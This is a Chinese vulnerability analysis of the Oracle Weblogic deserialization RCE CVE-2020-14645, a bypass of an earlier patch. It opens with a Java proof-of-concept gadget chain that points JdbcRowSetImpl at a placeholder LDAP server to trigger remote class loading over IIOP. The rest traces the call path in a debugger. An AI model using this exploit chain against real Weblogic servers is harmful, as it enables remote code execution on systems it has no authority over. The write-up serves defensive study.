Weblogic 远程命令执行漏洞(CVE-2020-14645)分析
作者:白帽汇安全研究院@hu4wufu
核对:白帽汇安全研究院@r4v3zn
前言
近期公布的关于 Weblogic 的反序列化RCE漏洞 CVE-2020-14645,是对 CVE-2020-2883的补丁进行绕过。之前的 CVE-2020-2883 本质上是通过 ReflectionExtractor
调用任意方法,从而实现调用 Runtime
对象的 exec 方法执行任意命令,补丁将 ReflectionExtractor
列入黑名单,那么可以使用 UniversalExtractor
重新构造一条利用链。UniversalExtractor
任意调用 get
、is
方法导致可利用 JDNI 远程动态类加载。UniversalExtractor
是 Weblogic 12.2.1.4.0 版本中独有的,本文也是基于该版本进行分析。
漏洞复现
漏洞利用 POC,以下的分析也是基于该 POC 进行分析
ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{new ReflectionExtractor("toString",new ob ject[]{})});
PriorityQueue<object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor));
queue.add("1");
queue.add("1");
//构造 UniversalExtract 调用 JdbcRowSetImpl 对象的任意方法
UniversalExtractor universalExtractor = new UniversalExtractor();
object object = new object[]{};
Reflections.setFieldValue(universalExtractor,"m_aoParam",object);
Reflections.setFieldValue(universalExtractor,"m_sName","Databa seme taData");
Reflections.setFieldValue(universalExtractor,"m_fMethod",false);
ValueExtractor[] valueExtractor_list = new ValueExtractor[]{universalExtractor};
Field[] fields = ChainedExtractor.class.getDeclaredFields();
Field field = ChainedExtractor.class.getSuperclass().getDeclaredField("m_aExtractor");
field.setAccessible(true);
field.set(chainedExtractor,valueExtractor_list);
JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(JdbcRowSetImpl.class);
jdbcRowSet.setDataSourceName("ldap://ip:port/uaa");
object[] queueArray = (object[])((object[]) Reflections.getFieldValue(queue, "queue"));
queueArray[0] = jdbcRowSet;
// 发送 IIOP 协议数据包
Context context = getContext("iiop://ip:port");
context.rebind("hello", queue);
成功弹出计算机
漏洞分析
了解过 JDNI
注入的都知道漏洞在 lookup()
触发,这里在 JdbcRowSetImpl.class
中 326
行 lookup()
函数处设置断点。
以下为漏洞利用的简要调用链:
我们从头分析,我们都知道反序列化的根本是对象反序列化的时候,我们从 IO 流里面读出数据的时候再以这种规则把对象还原回来。我们在 in.readob ject()
处打断点,跟进查看 PriorityQueue.readob ject()
方法
这里 782 执行 s.defaultReadob ject()
,785 执行 s.readInt()
赋给对象输入流大小以及数组长度,并在 790 行执行 for 循环,依次将 s.readob ject()
方法赋值给 queue
对象数组,这里 queue
对象数组长度为 2。
接着往下跟,查看 heapify()
方法。PriorityQueue
实际上是一个最小堆,这里通过 siftDown()
方法进行排序实现堆化,
跟进 siftDown()
方法,这里首先判断 comparator
是否为空
我们可以看看 comparator
是怎么来的,由此可见是在 PriorityQueue
的构造函数中被赋值的,在初始化构造时,除了给 this.comparator
进行赋值之外,通过 initialCapacity
进行初始化长度。
comparator
不为空,所以我们执行的是 siftDownUsingComparator()
方法,所以跟进 siftDownUsingComparator()
方法。
继续跟进 ExtractorComparator.compare()
方法
这里调用的是 this.m_extractor.extract()
方法,来看看 this.m_extractor
,这里传入了 extractor
,
this.m_extractor
的值是与传入的 extractor
有关的。这里需要构造 this.m_extractor
为 ChainedExtractor
,才可以调用 ChainedExtractor
的 extract()
方法实现 extract()
调用。
继续跟进 ChainedExtractor.extract()
方法,可以发现会遍历 aExtractor
数组,并调用 extract()
方法。
跟进 extract()
方法,此处由于 m_cacheTarget
使用了 transient
修饰,无法被反序列化,因此只能执行 else
部分,最后通过 this.extractComplex(oTarget)
进行最终触发漏洞点
this.extractComplex(oTarget)
中可以看到最后通过 method.invoke()
进行反射执行,其中 oTarget
和 aoParam
都是可控的。
我们跟进190的 findMethod()
方法,在 475 行需要使 fExactMatch
为 true
,fStatic
为 false
才可让传入 clz
的可以获取任意方法。fStatic
是可控的,而 fExactMatch
默认为true
,只要没进入 for
循环即可保持 true
不变,使 cParams
为空即 aclzParam
为空的 Class
数组即可,此处 aclzParam
从 getClassArray()
方法获取。
在 getClasssArray
中通过获取输入参数的值对应的 Class 进行处理。
由于传入的 aoParam
是一个空的 ob ject[]
,所以获取对应的 Class
也为空的 Class[]
,跟入 isPropertyExtractor()
中进行进行获取可以看到将 this._fMethod
获取相反的值。
由于 m_fMethod
被 transient
修饰,不会被序列化,通过分析 m_fMethod
赋值过程,可发现在 init()
时会获取sCName,并且通过判定是否为 ()
结尾来进行赋值。
由于参数为 this
的原因,导致getValueExtractorCanonicalName()
方法返回的都是 null
。
跟入 getValueExtractorCanonicalName()
函数,最后是通过调用 computeValuExtractorCanonicalName
进行处理。
跟入 computeValuExtractorCanonicalName()
之后,如果 aoParam
不为 null
且数组长度大于 0 就会返回 null
,由于 aoParam
必须为 null
,因此我们调用的方法必须是无参的。接着如果方法名 sName
不以 ()
结尾,就会直接返回方法名。否则会判断方法名是否以 VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES
数组中的前缀开头,如果是的话就会截取掉并返回。
回到 extractComplex()
方法中,在 if
条件里会对上述返回的方法名做首字母大写处理,然后拼接 BEAN_ACCESSOR_PREFIXES
数组中的前缀,判断 clzTarget
类中是否含有拼接后的方法。这里可以看到我们只能调用任意类中的 get
和 is
开头的无参方法。也就解释了为什么 poc
会想到利用 JNDI
来进行远程动态类加载。
跟进 method.invoke()
方法,会直接跳转至 JdbcRowSetImpl.getDataba seme taData()
。
由于JdbcRowSetImpl.getDataba seme taData()
,调用了 this.connect()
,可以看到在 326 行执行了 lookup
操作,触发了漏洞。
至此,跟进 getDataSourceName()
,可看到调用了可控制的 dataSource
。
总结
此漏洞主要以绕过黑名单的形式,利用 UniversalExtractor
任意调用get
、is
方法导致 JNDI 注入,由此拓展 CVE-2020-14625。
最新评论